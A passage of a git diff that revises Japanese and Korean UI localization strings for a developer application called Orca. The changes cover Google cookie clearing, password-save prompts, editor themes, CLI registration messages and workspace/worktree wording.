+      "explanation": "Google はログイン状態をログイン時のブラウザーに結び付けるため、Orca は他のブラウザーから Google Cookie をインポートしません。Google が誤ったアカウントのままになっている場合や、繰り返しログアウトされる場合は、アクティブなプロファイルの Google Cookie を消去してから、Orca で Google に再度ログインしてください。他のサイトはログインしたままになります。",
+      "action": "Google Cookie を消去…",
+      "confirmTitle": "{{profile}} の Google Cookie を消去しますか？",
+      "confirmDescription": "このプロファイルでは Orca のブラウザーで Google からログアウトします。他のサイトはログインしたままになります。",
+      "clear": "消去",
+      "cancel": "キャンセル",
+      "cleared": "{{profile}} の Google Cookie を消去しました。",
+      "empty": "{{profile}} に消去する Google Cookie はありません。",
+      "remaining": "{{profile}} から一部の Google Cookie を削除できませんでした。もう一度お試しください。",
+      "unverified": "{{profile}} の Google Cookie を確認できませんでした。もう一度お試しください。"
     },
     "loadFailure": {
       "connectionNotSecure": "接続は安全ではありません",
@@ -20395,16 +20478,16 @@
         "failed": "ダウンロードを完了できませんでした。"
       },
       "hostPaneOfflineTitle": "そのデバイスはもう接続されていません",
-      "hostPaneNamedTitle": "{{device}} で表示中",
-      "hostPaneTitle": "別のデバイスで表示中",
+      "hostPaneNamedTitle": "{{device}} で上映中",
+      "hostPaneTitle": "別のデバイスで表示する",
       "hostPaneOfflineDescription": "このページは表示されたままになるため、ここから閉じることができます。デバイスが再接続すると元に戻ります。",
       "hostPaneDescription": "このページは、それを開いたペアリングされたデスクトップ上に表示されます。",
       "hostRowClose": "ホストされているページを閉じる",
       "hostRowCloseFailed": "このページを閉じることができませんでした。ホストしているデバイスがビジー状態である可能性があります。もう一度試してください。",
-      "hostRowOfflineNamed": "オフライン — {{device}} で開かれていました",
+      "hostRowOfflineNamed": "オフライン — {{device}} にホストされました",
       "hostRowOffline": "オフライン — ホストしているデバイスが終了しました",
-      "hostRowNamed": "{{device}} で開いています",
-      "hostRow": "別のデバイスで開いています"
+      "hostRowNamed": "{{device}} で開催",
+      "hostRow": "別のデバイスでホストされている"
     },
     "navigation": {
       "back": "戻る",
@@ -20553,6 +20636,24 @@
         "imported_other": "{{domains}} 用に Cookie を {{count}} 個インポートしました。使用するにはページを再読み込みしてください。",
         "failed": "Cookie をインポートできませんでした: {{reason}}"
       }
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "パスワード保存の確認",
+        "updateTitle": "パスワードを更新しますか？",
+        "saveTitle": "パスワードを保存しますか？",
+        "username": "ユーザー名",
+        "password": "パスワード",
+        "never": "このサイトでは保存しない",
+        "notNow": "今はしない",
+        "update": "更新",
+        "save": "保存"
+      },
+      "fill": {
+        "noUsername": "（ユーザー名なし）",
+        "title": "保存済みのログイン情報",
+        "otherLogins": "このサイトの他のログイン情報"
+      }
     }
   },
   "runtimeRpc": {
@@ -21608,7 +21709,10 @@
       "reopened_one": "{{count}} 個のターミナルを再度開きました",
       "reopened_other": "{{count}} 個のターミナルを再度開きました",
       "resumed_one": "{{count}} 個の Agent セッションを再開しました。",
-      "resumed_other": "{{count}} 個の Agent セッションを再開しました。"
+      "resumed_other": "{{count}} 個の Agent セッションを再開しました。",
+      "reopenTerminal": "{{count}} 個のターミナルを再度開く",
+      "reopened": "{{count}} 個のターミナルを再度開きました",
+      "resumed": "{{count}} 個の Agent セッションを再開しました。"
     },
     "severedDaemonBanner": {
       "unknownCount": "実行中のターミナル",
@@ -21625,7 +21729,8 @@
       "cancel": "キャンセル",
       "confirm": "再起動してプロセスを終了",
       "count_other": "実行中のターミナル {{count}} 個",
-      "count_one": "実行中のターミナル {{count}} 個"
+      "count_one": "実行中のターミナル {{count}} 個",
+      "count": "実行中のターミナル {{count}} 個"
     },
     "restartedInputNotSent": "入力中にターミナルが再起動したため、一部の入力が届いていない可能性があります。もう一度入力する前に新しいシェルを確認してください。",
     "typingBeforeStartNotSent": "ターミナルの起動中に入力した一部のキーは送信されませんでした。",
diff --git a/src/renderer/src/i18n/locales/ko.json b/src/renderer/src/i18n/locales/ko.json
index 1bc9f6dea18..d402a77e61d 100644
--- a/src/renderer/src/i18n/locales/ko.json
+++ b/src/renderer/src/i18n/locales/ko.json
@@ -40,7 +40,7 @@
     "chat": {
       "permissionsAgentsLink": "설정 → 에이전트",
       "permissionsTitle": "새 채팅의 권한",
-      "permissionsDescription": "새 채팅에만 적용됩니다. 에이전트별 기본값은 설정 → 에이전트에 있습니다.",
+      "permissionsDescription": "새 채팅에만 적용됩니다. 터미널에서 여는 에이전트는 설정 → 에이전트 → 에이전트 권한을 사용합니다.",
       "description": "채팅의 모양과 동작 방식을 선택하세요.",
       "names": {
         "title": "채팅 이름",
@@ -209,6 +209,21 @@
         "terminalControlledTooltip": "터미널 모양에 맞추는 중입니다. 변경하려면 터미널 모양에 맞추기를 끄세요.",
         "fontKeywordTypeface": "서체",
         "fontKeywordTypography": "타이포그래피"
+      },
+      "editorTheme": {
+        "light": "밝은 편집기 테마",
+        "lightDescription": "앱이 밝은 테마일 때 코드 편집기, 변경 내용 및 노트북의 색상입니다.",
+        "dark": "어두운 편집기 테마",
+        "darkDescription": "앱이 어두운 테마일 때 코드 편집기, 변경 내용 및 노트북의 색상입니다.",
+        "followApp": "앱 테마와 동일",
+        "title": "편집기 테마",
+        "description": "앱 테마와 별도로 코드 편집기, 변경 내용 및 노트북의 색상을 설정합니다.",
+        "keyword": {
+          "editor": "편집기",
+          "code": "코드",
+          "monaco": "monaco",
+          "syntax": "구문"
+        }
       }
     },
     "browser": {
@@ -409,6 +424,7 @@
       "defaultSurfaceSetAllChat": "모두 채팅으로 설정",
       "defaultSurfaceSetAllTerminal": "모두 터미널로 설정",
       "sameAsChoice": "{{agent}}와 동일 · {{choice}}",
+      "modelListFallback": "기본 제공 목록입니다. Orca가 이 호스트에서 모델 목록을 가져오지 못했습니다.",
       "chatUnavailableOnWindows": "{{value0}} Chat은 아직 Windows에서 사용할 수 없으므로 이 호스트에서는 {{value0}}이(가) 터미널에서 열립니다. macOS 또는 Linux 호스트의 채팅은 계속 사용할 수 있습니다.",
       "undetectedCommandHint": "{{agent}} CLI가 PATH 외부에 설치되어 있다면 이 호스트의 실행 파일 전체 경로를 입력하세요."
     },
@@ -1236,7 +1252,7 @@
         "wslDefault": "WSL 기본값"
       },
       "sidebarWorktreeActivation": {
-        "wakeEphemeralVmFailed": "임시 VM 워크스페이스 활성화 실패"
+        "wakeEphemeralVmFailed": "임시 VM 워크트리 활성화 실패"
       },
       "ephemeralVmWorkspaceTarget": {
         "projectRootRegistrationFailed": "런타임에서 레시피로 생성된 프로젝트 루트 등록 실패",
@@ -1433,6 +1449,39 @@
         "title": "Windows 드라이브 폴더는 이 컴퓨터에서 추가하세요",
         "descriptionWithPath": "{{value0}}은(는) Windows 드라이브에 있습니다. WSL의 Git은 그곳에서 잘못된 줄 끝 변경을 보고하고, Windows에서 한 편집을 놓치며, 검색도 느립니다.",
         "description": "이 폴더는 Windows 드라이브에 있습니다. WSL의 Git은 그곳에서 잘못된 줄 끝 변경을 보고하고, Windows에서 한 편집을 놓치며, 검색도 느립니다."
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "WSL에서 Orca를 사용하려면 {{path}}을(를) 등록하세요.",
+          "registerForTerminal": "터미널에서 Orca를 사용하려면 {{path}}을(를) 등록하세요.",
+          "registerForWindowsShell": "명령 프롬프트 또는 PowerShell에서 Orca를 사용하려면 {{path}}을(를) 등록하세요.",
+          "devLauncherOnly": "개발 모드에서는 검증용으로 생성된 실행기를 사용합니다.",
+          "differentLauncher": "{{path}}이(가) 다른 실행기를 가리킵니다.",
+          "launcherMissing": "이 Orca 빌드에 번들된 CLI 실행기가 없습니다.",
+          "noWslDistro": "사용 가능한 WSL 배포판이 없습니다.",
+          "notOrcaLauncherScript": "{{path}}이(가) 있지만 Orca 실행기 스크립트가 아닙니다.",
+          "notOrcaSymlink": "{{path}}이(가) 있지만 Orca 심볼릭 링크가 아닙니다.",
+          "olderLauncher": "{{path}}에 이전 버전의 Orca 실행기가 있습니다.",
+          "platformUnsupported": "이 플랫폼에서는 CLI 등록이 구현되지 않았습니다.",
+          "readlinkPermissionDenied": "Orca에 {{path}}을(를) 검사할 권한이 없습니다. 경로와 상위 디렉터리 권한을 확인한 후 다시 시도하세요.",
+          "registeredAt": "{{path}}에 등록되었습니다.",
+          "registeredInDistroAt": "{{distro}}의 {{path}}에 등록되었습니다.",
+          "registrationUnavailable": "이 빌드에서는 CLI 등록을 사용할 수 없습니다.",
+          "unreadableSymlink": "{{path}}을(를) 읽을 수 없습니다. 다시 등록하여 복구하세요.",
+          "windowsLauncherMissing": "Windows Orca CLI 실행기가 없습니다.",
+          "windowsPathCheckFailed": "Orca 실행기는 있지만 Orca가 Windows 사용자 PATH를 확인할 수 없었습니다.",
+          "windowsPathTimedOut": "Windows PATH 명령이 {{ms}}ms 후에 시간 초과되었습니다.",
+          "wslCommandTimedOut": "WSL 명령이 {{ms}}ms 후에 시간 초과되었습니다.",
+          "wslDistroUnreachable": "WSL 배포판에 연결할 수 없습니다. 다시 시도하세요.",
+          "wslHomeUnresolved": "WSL 홈 디렉터리를 확인할 수 없습니다.",
+          "wslInteropUnavailable": "WSL Windows 상호 운용을 사용할 수 없어 Orca가 WSL에서 Windows CLI를 시작할 수 없습니다.",
+          "wslRegistrationUnavailable": "WSL CLI 등록을 사용할 수 없습니다.",
+          "wslWindowsOnly": "WSL CLI 등록은 Windows에서만 사용할 수 있습니다."
+        }
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "{{shortcut}}+클릭하여 시스템 브라우저에서 열기",
+        "tooltip": "{{label}}. {{hint}}"
       }
     },
     "hooks": {
@@ -1446,7 +1495,8 @@
         "setupAgentStartupPolicySaveFailed": "시작 동작 저장 실패",
         "5f3d2c8a1b": "MR베이스 확인 실패",
         "dropPartiallyAttached_one": "{{count}} 항목 중 {{failureCount}}을(를) 첨부할 수 없습니다.",
-        "dropPartiallyAttached_other": "{{count}} 항목 중 {{failureCount}}개 항목을 첨부할 수 없습니다."
+        "dropPartiallyAttached_other": "{{count}} 항목 중 {{failureCount}}개 항목을 첨부할 수 없습니다.",
+        "dropPartiallyAttached": "{{count}} 항목 중 {{failureCount}}개 항목을 첨부할 수 없습니다."
       },
       "useGlobalFileDrop": {
         "38c9f034ff": "드롭한 파일을 업로드하지 못했습니다.",
@@ -1462,7 +1512,8 @@
         "nativeDropTempCopyFailed_one": "Orca가 드롭한 파일 {{count}}개를 복사하지 못했습니다.",
         "nativeDropTempCopyFailed_other": "Orca가 드롭한 파일 {{count}}개를 복사하지 못했습니다.",
         "hostMismatch": "이 편집기는 다른 호스트에 있습니다. 원본 워크스페이스에서 파일을 여세요.",
-        "workspaceOpenFailed": "{{fileName}}을(를) 열 수 없습니다. 원본 워크스페이스에서 열고 다시 시도하세요."
+        "workspaceOpenFailed": "{{fileName}}을(를) 열 수 없습니다. 원본 워크스페이스에서 열고 다시 시도하세요.",
+        "nativeDropTempCopyFailed": "Orca가 드롭한 파일 {{count}}개를 복사하지 못했습니다."
       },
       "useIpcEvents": {
         "0e3cf53060": "브라우저 탭 {{value0}}을(를) 찾을 수 없습니다",
@@ -2005,7 +2056,6 @@
         "23886c7eec": "라벨 추가",
         "7f7b89b631": "라벨: {{value0}}",
         "b2376d0179": "멤버 로드 중",
-        "866316f22c": "할당되지 않음",
         "b5675b0694": "저장",
         "ceeb8c6153": "지우기",
         "fbb90300e2": "사용자 지정 추정치",
@@ -2553,7 +2603,7 @@
         "noMatchingIssuesLoaded": "일치하는 이슈를 불러오지 않았습니다.",
         "editReviewersWithCurrent": "리뷰어 편집: {{value0}}",
         "linearEmptyAttributeFilter": "선택한 필터와 일치하는 이슈가 없습니다. 필터를 지우거나 다른 조건을 시도하세요.",
-        "linearEmptyUnfilteredScope": "이 워크스페이스 범위에 이슈가 없습니다. 검색하거나 팀을 조정해 보세요.",
+        "linearEmptyUnfilteredScope": "이 워크트리 범위에 이슈가 없습니다. 검색하거나 팀을 조정해 보세요.",
         "linearFetchMore": "더 불러오기",
         "linearHasWorktreeLoadFailed": "Orca 워크스페이스에 연결된 Linear 이슈를 불러올 수 없습니다.",
         "linearHasWorktreePartialLoadFailed": "Orca 워크스페이스에 연결된 일부 Linear 이슈를 불러올 수 없습니다. 새로 고쳐 다시 시도하세요.",
@@ -3123,7 +3173,6 @@
               "f4c79cff5f": "아래 워크스페이스 오류를 확인한 후 새로고침하세요.",
               "ef90b21366": "보기를 찾을 수 없습니다.",
               "c0a50f96a4": "보기를 로드할 수 없습니다.",
-              "df4bd63c1d": "할당되지 않음",
               "30402d2c6e": "검색하거나 새로고침해 보세요.",
               "a2f31c4cd6": "Linear 프로젝트를 찾을 수 없습니다.",
               "c9b6e9f90d": "Linear 프로젝트를 로드할 수 없습니다.",
@@ -3571,8 +3620,8 @@
             "connectFailed": "SSH 연결 실패",
             "title": "SSH 연결 필요",
             "removedTitle": "SSH 호스트가 제거됨",
-            "removedBody": "이 워크스페이스의 SSH 호스트가 제거되어 더 이상 연결할 수 없습니다. 워크스페이스를 제거하여 정리하세요 — 원격 파일은 그대로 남아 있습니다.",
-            "removeWorkspaceButton": "워크스페이스 제거"
+            "removedBody": "이 워크트리의 SSH 호스트가 제거되어 더 이상 연결할 수 없습니다. 워크트리를 제거하여 정리하세요 — 원격 파일은 그대로 남아 있습니다.",
+            "removeWorkspaceButton": "워크트리 제거"
           },
           "TerminalRemoteRuntimeReconnectBanner": {
             "pairingRefusedTitle": "이 호스트가 더 이상 이 컴퓨터를 허용하지 않습니다",
@@ -3669,7 +3718,7 @@
             "dropOntoTerminalPane": "이 세션을 재개하려면 terminal 창에 놓으세요.",
             "couldNotReadPayload": "세션 드래그 데이터를 읽을 수 없습니다.",
             "sessionQueued": "세션이 대기열에 추가됨",
-            "openSupportedWorkspace": "세션을 재개하기 전에 워크스페이스를 여세요.",
+            "openSupportedWorkspace": "세션을 재개하기 전에 워크트리를 여세요.",
             "sessionHostMismatchUnsupported": "이 세션은 다른 호스트에 속합니다. 같은 호스트의 워크스페이스에 놓으세요.",
             "oldPayload": "이 세션은 이전 버전의 Orca 창에서 끌어왔습니다. 대신 세션 기록에서 재개하세요.",
             "legacyDragCannotRetarget": "이 세션은 이전 버전의 Orca 창에서 드래그되어 선택한 Codex 계정으로 전환할 수 없습니다. 세션 기록 패널에서 재개하세요.",
@@ -4731,8 +4780,8 @@
               "3de9bf87fc": "아직 모델이 없습니다.",
               "recentCombinedActivity": "최근 Claude, Codex, OpenCode, Muse의 통합 토큰 활동입니다.",
               "statusScanning": "스캐닝",
-              "statusEnabled": "활성",
-              "statusOff": "비활성",
+              "statusEnabled": "활성화됨",
+              "statusOff": "끄다",
               "sessionsAndActivity": "{{sessions}} - {{activity}}",
               "tokenTotal": "토큰 {{tokens}}개",
               "sessionCount_other": "세션 {{formatted}}개",
@@ -5383,7 +5432,8 @@
           "moreLoadedPaths_other": "그 외 로드된 경로 {{count}}개",
           "changesLost_one": "커밋되지 않은 변경 사항 {{count}}개가 손실됩니다",
           "changesLost_other": "커밋되지 않은 변경 사항 {{count}}개가 손실됩니다",
-          "uncountedChangesLost": "커밋되지 않은 변경 사항이 손실됩니다"
+          "uncountedChangesLost": "커밋되지 않은 변경 사항이 손실됩니다",
+          "moreLoadedPaths": "불러온 경로 {{value0}}개 더"
         },
         "DeleteWorktreeLineageNotice": {
           "a940f3c96e": "하위 워크스페이스가 삭제됩니다.",
@@ -5836,7 +5886,7 @@
           "6664418e98": "새로운 프로젝트 그룹",
           "e091caab15": "프로젝트를 찾을 수 없습니다.",
           "579b1a8e61": "상위에서 제거",
-          "8d9cd19d09": "상위 워크트리 열기",
+          "8d9cd19d09": "상위 워크스페이스 열기",
           "d35dfeae58": "그룹에서 제거",
           "76865d827f": "그룹으로 이동",
           "503ec0f8e6": "프로젝트의 새 그룹",
@@ -5857,7 +5907,7 @@
           "workspaceSection": "워크스페이스",
           "primaryDeleteDisabled": "기본 작업 트리는 삭제할 수 없습니다. 대신 프로젝트를 제거하세요.",
           "deleteWorktree": "작업 트리 삭제",
-          "sleepWithDescendantsDescription": "이 워크스페이스와 모든 하위 워크스페이스의 활성 패널을 닫아 메모리와 CPU 사용량을 줄입니다.",
+          "sleepWithDescendantsDescription": "메모리와 CPU를 확보하려면 이 워크스페이스과 모든 중첩 하위 항목의 활성 패널을 닫으세요.",
           "sleepThisWorkspace": "이 워크스페이스",
           "sleepDescendantsOption": "하위 항목 포함 ({{value0}})",
           "deleteWithDescendants": "하위 항목과 함께 삭제…",
@@ -5897,7 +5947,7 @@
           "hostDisconnected": "연결 끊김",
           "failedNestWorkspace": "워크스페이스를 중첩하지 못했습니다",
           "sidebarRowMissing": "대상이 더 이상 존재하지 않습니다",
-          "failedUnnestWorkspace": "워크스페이스 펼치기 실패",
+          "failedUnnestWorkspace": "워크트리 펼치기 실패",
           "groupRenameFailed": "그룹 이름을 바꾸지 못했습니다.",
           "groupRenameFailedDesc": "Orca는 그룹 호스트에게 새 이름을 확인할 수 없습니다. 다시 연결한 후 그룹을 다시 확인하세요.",
           "hostRepairRequired": "Re-pair required",
@@ -6042,8 +6092,8 @@
               "ead7b8ee15": "파일이 변경되었습니다. 어쨌든 삭제하려면 강제 삭제를 사용하세요.",
               "905fc8efac": "Git은 이미 이 워크스페이스를 제거했습니다. 강제 삭제를 사용하여 Orca에서 삭제합니다.",
               "0899ebdb28": "Git은 이미 이 워크스페이스를 잊어버렸지만 해당 디렉터리는 여전히 디스크에 있습니다. 강제 삭제를 사용하여 분리된 디렉터리를 제거합니다.",
-              "locked": "이 워크스페이스는 Git에 의해 잠겨 있습니다. 저장소에서 git worktree unlock <worktree-path>을 실행한 후 삭제를 다시 시도하세요.",
-              "lockedReason": "이 워크스페이스는 Git에 의해 잠겨 있습니다. Git 보고: {{value0}}. 저장소에서 git worktree unlock <worktree-path>을 실행한 후 삭제를 다시 시도하세요.",
+              "locked": "이 워크트리는 Git에 의해 잠겨 있습니다. 저장소에서 git worktree unlock <worktree-path>을 실행한 후 삭제를 다시 시도하세요.",
+              "lockedReason": "이 워크트리는 Git에 의해 잠겨 있습니다. Git 보고: {{value0}}. 저장소에서 git worktree unlock <worktree-path>을 실행한 후 삭제를 다시 시도하세요.",
               "unstoppedPty": "Orca는 이 워크스페이스의 모든 터미널이 종료되었는지 확인할 수 없어 파일을 삭제하기 전에 중지되었습니다. 어쨌든 제거하려면 강제 삭제를 사용하십시오.",
               "unstoppedPtyLive": "이 워크스페이스에는 여전히 실행 중인 터미널이 있으므로 Orca는 파일을 삭제하기 전에 중지되었습니다. 강제 삭제는 해당 작업을 종료하고 해당 작업에 포함된 커밋되지 않은 작업을 모두 삭제합니다.",
               "runningAgentSession": "Orca는 이 워크스페이스의 모든 에이전트 세션이 닫혔는지 확인할 수 없어 파일을 삭제하기 전에 중지되었습니다. 어쨌든 제거하려면 강제 삭제를 사용하십시오.",
@@ -6276,7 +6326,7 @@
           "6f7a8b9c0d": "취소",
           "7a8b9c0d1e": "설정 열기",
           "8b9c0d1e2f": "호스트 제거",
-          "workspacesFailed": "이 호스트에서 워크스페이스 {{count}}개를 제거할 수 없었습니다. 재시도할 수 있도록 호스트가 유지되었습니다.",
+          "workspacesFailed": "이 호스트에서 워크트리 {{count}}개를 제거할 수 없었습니다. 재시도할 수 있도록 호스트가 유지되었습니다.",
           "advanced": "고급",
           "alsoForgetLocalHint": "Orca에서만 제거합니다. 원격 파일, 워크트리, 브랜치는 그대로 남아 있습니다.",
           "wslHostEndsTerminalsUnlessShared": "Orca에서 {{value0}}을(를) 제거합니다. 이 컴퓨터에서 열려 있는 다른 Orca가 사용 중이지 않다면 열린 터미널도 종료하고 해당 배포판의 Orca 서버를 중지합니다. 배포판의 파일은 변경되지 않습니다.",
@@ -6430,7 +6480,8 @@
           "sshConfigPickerResolving": "독서…",
           "pairingHelpShareComputer": "다른 컴퓨터의 설정 → 원격 Orca 서버 → 이 컴퓨터 공유에서 만드세요.",
           "sshImportSynced_other": "Orca에 호스트 {{count}}개를 추가했습니다.",
-          "sshConfigPickerInvalidResponse": "잘못된 SSH 설정 호스트 응답"
+          "sshConfigPickerInvalidResponse": "잘못된 SSH 설정 호스트 응답",
+          "sshImportSynced": "{{value0}} 호스트{{value1}}을(를) Orca에 추가했습니다."
         },
         "ForgetSshWorkspaceDialog": {
           "ghostBody": "{{host}}은(는) 더 이상 저장된 SSH 호스트가 아니므로 이 워크스페이스는 라이브 호스트에 연결되어 있지 않습니다. Orca에서 제거만 할 수 있으며, 원격의 파일과 브랜치는 그대로 유지됩니다.",
@@ -6489,7 +6540,12 @@
                 "1e1a5f6763": "삭제된 지역 브랜치: {{value0}}",
                 "43d9395605": "{{value0}} 삭제됨, {{value1}} 삭제되지 않음",
                 "d42f1f14e0_one": "{{count}} 브랜치을 다시 시도하세요.",
-                "d42f1f14e0_other": "{{count}} 브랜치을 다시 시도하세요."
+                "d42f1f14e0_other": "{{count}} 브랜치을 다시 시도하세요.",
+                "0e0379f24a": "{{count}} 가지 유지",
+                "6310412304": "{{count}} 브랜치 검토",
+                "a3cdd9d9e6": "Git은 병합되지 않은 커밋을 포함할 수 있으므로 {{count}} 로컬 브랜치를 유지했습니다. 유지된 브랜치에는 워크스페이스 폴더가 유지되지 않습니다. 해당 커밋은 저장소에 남아 있습니다. Orca는 백그라운드에서 워크스페이스 디스크 공간을 계속 확보할 수 있습니다.",
+                "cea24c2b7d": "{{count}} 워크스페이스가 제거되었습니다.",
+                "d42f1f14e0": "{{count}} 브랜치을 다시 시도하세요."
               }
             }
           }
@@ -6503,7 +6559,8 @@
           "676db406fd": "헤드를 사용할 수 없음",
           "285e1e4882": "취소",
           "a0f9863597_one": "강제 삭제 {{count}} 브랜치",
-          "a0f9863597_other": "{{count}} 브랜치 강제 삭제"
+          "a0f9863597_other": "{{count}} 브랜치 강제 삭제",
+          "a0f9863597": "{{count}} 브랜치 강제 삭제"
         },
         "WorktreeListScrollToTopButton": {
           "jumpToTop": "맨 위로 이동"
@@ -6657,6 +6714,19 @@
           "needsInput": "입력 필요",
           "running": "실행 중",
           "idle": "유휴"
+        },
+        "hostSection": {
+          "localWindows": "로컬 Windows",
+          "localMac": "로컬 Mac",
+          "localLinux": "로컬 Linux",
+          "thisComputer": "이 컴퓨터",
+          "host": "호스트"
+        },
+        "workspaceBoardStatus": {
+          "todo": "할 일",
+          "inProgress": "진행 중",
+          "inReview": "검토 중",
+          "done": "완료"
         }
       },
       "shared": {
@@ -6675,7 +6745,7 @@
           "c34fb1098d": "터미널 탭이 닫히고 종료 요청이 전송되었습니다.",
           "d9657ac204": "터미널 세션 종료 요청이 전송되었습니다.",
           "e8f25bd903": "터미널 정리를 완료할 수 없습니다.",
-          "a702d4196e": "이 작업은 모든 워크스페이스의 모든 터미널 탭을 닫고 현재 터미널 세션의 종료를 요청합니다. 저장되지 않은 터미널 작업은 손실됩니다. 데몬 자체는 계속 실행되며 새 터미널은 즉시 열 수 있습니다. 이 작업은 되돌릴 수 없습니다.",
+          "a702d4196e": "이 작업은 모든 워크트리의 모든 터미널 탭을 닫고 현재 터미널 세션의 종료를 요청합니다. 저장되지 않은 터미널 작업은 손실됩니다. 데몬 자체는 계속 실행되며 새 터미널은 즉시 열 수 있습니다. 이 작업은 되돌릴 수 없습니다.",
           "01d6b7c64e": "열린 터미널과 에이전트가 다시 시작됩니다. 원격 호스트의 터미널은 영향을 받지 않습니다.",
           "922548bc66": "터미널 서비스를 다시 시작하시겠습니까?",
           "confirmRestart": "다시 시작",
@@ -6948,7 +7018,6 @@
           "5f5142a62a": "이전 아이콘"
         },
         "AppearancePane": {
-          "3057983501": "할당되지 않음",
           "b707773a0d": "활성화하면 창을 닫아도 Orca가 종료되지 않고 시스템 트레이에서 계속 실행됩니다.",
           "0cd9b8228f": "Dock 및 창 전환기에 표시된 앱 아이콘을 선택합니다.",
           "61d842eca0": "사이드바에 Orca Mobile 바로가기를 표시합니다. 도구 상자에서는 계속 사용할 수 있습니다.",
@@ -7076,6 +7145,9 @@
           "333984cf90": "기존 브라우저 세션 사용",
           "9895ed44de": "컴퓨터 사용 열기"
         },
+        "BrowserUseEnableSwitch": {
+          "ce4d6f80d8": "에이전트 브라우저 사용 활성화"
+        },
         "BrowserUseExamples": {
           "1199258ace": "복사",
           "1188e56af4": "예시 프롬프트 복사",
@@ -7316,10 +7388,6 @@
             "modeAriaLabel": "에이전트 대시보드 열기 모드",
             "modeInWindow": "윈도우 내",
             "modePopout": "팝업"
-          },
-          "browserExtensions": {
-            "copy": "로컬 브라우저 프로필에 설정 › 브라우저 › 확장 프로그램을 추가합니다.",
-            "toggleLabel": "브라우저 확장 프로그램 켜기/끄기"
           }
         },
         "FloatingWorkspacePane": {
@@ -8037,6 +8105,9 @@
           "d32b87e754": "가능한 경우 리뷰 템플릿 사용",
           "981eae7e14": "기본적으로 초안"
         },
+        "RepositorySourceControlAiSection": {
+          "112f3b934f": "소스 제어 AI"
+        },
         "RuntimeAccessGrantList": {
           "sshAccessCaveat": "여기서 취소해도 이 컴퓨터에 SSH로 접근할 수 있는 사람은 다시 페어링할 수 있습니다. 차단하려면 해당 SSH 접근 권한을 제거하세요.",
           "6f6d5188ed": "{{value0}} 취소",
@@ -9435,13 +9506,6 @@
               "inWindow": "창 내부",
               "worktrees": "작업 트리",
               "eaf17a7214": "에이전트 대시보드"
-            },
-            "browserExtensions": {
-              "title": "브라우저 확장 프로그램",
-              "description": "비밀번호 관리자 같은 Chrome 확장 프로그램을 Orca 브라우저 탭에서 실행합니다.",
-              "extension": "확장 프로그램",
-              "chrome": "크롬",
-              "password": "비밀번호 관리자"
             }
           }
         },
@@ -10627,12 +10691,27 @@
         },
         "agent-workspace-trust-copy": {
           "title": "Orca가 에이전트를 시작할 때 폴더 신뢰",
-          "description": "Orca가 시작한 에이전트는 \"Do you trust this folder?\" 확인을 건너뛸 수 있으므로, 프로젝트의 에이전트 훅과 설정이 바로 실행됩니다. Orca는 저장소마다 처음 에이전트를 시작할 때 한 번 묻고, 답변은 해당 저장소 설정에서 변경할 수 있습니다. 이 설정을 끄면 에이전트가 항상 확인을 요청합니다. 오케스트레이션 워커, 자동화, 휴대폰에서 시작한 에이전트처럼 사용자가 지켜보지 않는 동안 실행되는 에이전트가 확인을 요청하면 해당 터미널에서 응답할 때까지 기다립니다. 이미 신뢰한 폴더는 계속 신뢰됩니다."
+          "description": "Orca가 시작한 에이전트는 \"Do you trust this folder?\" 확인을 건너뛸 수 있으므로, 프로젝트의 에이전트 훅과 설정이 바로 실행됩니다. 저장소별로 해당 저장소 설정에서 끌 수 있습니다. 이 설정을 끄면 에이전트가 항상 확인을 요청합니다. 오케스트레이션 워커, 자동화, 휴대폰에서 시작한 에이전트처럼 사용자가 지켜보지 않는 동안 실행되는 에이전트가 확인을 요청하면 해당 터미널에서 응답할 때까지 기다립니다. 이미 신뢰한 폴더는 계속 신뢰됩니다."
         },
         "agent-generated-tab-title-copy": {
           "19ad21615a": "탭 제목 자동 생성",
           "b036c7a409": "첫 번째 agent 프롬프트에서 짧고 안정적인 탭 이름을 만듭니다. 수동으로 변경한 이름이 항상 우선합니다."
         },
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "로컬 main을 최신 상태로 유지"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "WarpThemeImportModal": {
           "title": "Warp에서 가져오기",
           "description": "Warp 테마를 Orca 터미널 테마로 가져옵니다.",
@@ -11166,7 +11245,7 @@
           "description": "Orca에서 Linear 이슈를 탐색하고 연결된 워크스페이스를 시작하며 /orca-linear로 에이전트가 이슈를 업데이트할 수 있습니다.",
           "skillTitle": "Linear 스킬",
           "howToUse": "프롬프트 예시",
-          "howToUseDescription": "카드를 클릭해 프롬프트를 복사하세요. 스킬을 설치한 후 Linear에 연결된 워크트리에서 사용하세요.",
+          "howToUseDescription": "카드를 클릭해 프롬프트를 복사하세요. 스킬을 설치한 후 Linear에 연결된 워크스페이스에서 사용하세요.",
           "manageConnectionHint": "연결된 Linear 워크스페이스와 API 키는 다음에서 확인할 수 있습니다.",
           "manageConnectionLink": "연동"
         },
@@ -11255,7 +11334,7 @@
           },
           "decisionFailed": "권한 결정을 저장할 수 없습니다. 다시 시도하세요.",
           "fullAccessWarning": "전체 액세스: 일반 프로그램처럼 실행되며 파일을 읽고, 네트워크를 사용하고, 다른 프로그램을 실행하고, 터미널과 에이전트를 포함해 Orca를 제어할 수 있습니다.",
-          "uiWarning": "화면을 그리기 위해 게시자의 코드를 Orca 안에서 실행합니다. Orca는 접근할 수 있는 항목을 보여 주고 사용 설정 전에 확인을 요청합니다."
+          "uiWarning": "게시자의 코드를 Orca 내에서 실행하여 뷰를 그립니다. Orca는 접근할 수 있는 항목을 보여 주고 활성화 전에 확인합니다."
         },
         "PluginConsentProvenance": {
           "official": "공식",
@@ -11508,7 +11587,7 @@
           "notesTitle": "알아두면 좋은 점",
           "notesIntro": "Linear를 연결하고 스킬을 설치한 후 참고할 내용입니다.",
           "noteLinkedTitle": "Linear 이슈에서 시작",
-          "noteLinkedBody": "작업에서 만든 워크트리는 이슈가 컨텍스트로 연결되어 있어 이슈 작업이 가장 원활합니다.",
+          "noteLinkedBody": "작업에서 만든 워크스페이스는 이슈가 컨텍스트로 연결되어 있어 이슈 작업이 가장 원활합니다.",
           "noteSlashTitle": "/orca-linear 언급",
           "noteSlashBody": "채팅에서 /orca-linear를 사용하거나 자연어로 요청하면 해당 턴에 에이전트가 스킬을 불러옵니다.",
           "noteKeysTitle": "키는 런타임별로 저장",
@@ -11858,7 +11937,7 @@
